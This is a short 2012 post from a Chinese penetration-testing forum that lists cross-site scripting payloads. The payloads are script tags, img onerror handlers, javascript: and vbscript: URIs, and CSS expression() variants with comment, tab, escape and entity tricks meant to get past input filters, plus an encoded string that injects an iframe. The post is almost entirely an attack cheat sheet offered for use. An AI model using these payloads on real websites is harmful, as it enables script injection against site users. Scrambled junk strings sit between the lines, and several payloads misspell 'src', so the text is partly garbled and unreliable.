中国网络渗透测试联盟
标题:
xss
[打印本页]
作者:
admin
时间:
2012-9-15 14:09
标题:
xss
<script>alert("跨站")</script> (最常用）
$ }6 B8 m$ X+ F! P8 G2 E4 G3 m6 r
<img scr=javascript:alert("跨站")></img>
* K, k5 _% w* s' r
<img scr="javascript: alert(/跨站/)></img>
5 z+ w2 A" r$ ?% r
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
: v7 n$ D) ~- T6 A& {
<img scr="#" onerror=alert(/跨站/)></img>
3 D3 F+ d4 a0 L N: M, N; g
<img scr="#" style="xss:expression(alert(/xss/));"></img>
5 f0 Z7 t5 S" C! I1 [$ J
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
2 x& t, W+ [. S# G" u
<img src=vbscript:msgbox ("xss")></img>
" `0 Y# D" M* i
<style> input {left:expression (alert('xss'))}</style>
4 z: j/ E( E9 I1 I3 H. d9 L
<div style={left:expression (alert('xss'))}></div>
- D& d, N& r8 Q2 |
<div style={left:exp/* */ression (alert('xss'))}></div>
1 b- z1 {7 N. f; E9 m7 X
<div style={left:\0065\0078ression (alert('xss'))}></div>
0 M' ?8 y/ k, `8 B; a
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
% X' |. a9 I. } d3 p4 y% O% a
unicode <div style="{left:expRessioN (alert('xss'))}">
. O6 ^! e9 C" z# F
3 w3 I$ Y) f; G( i F& m
"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
1 g1 t; n' M6 K# ?5 F
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2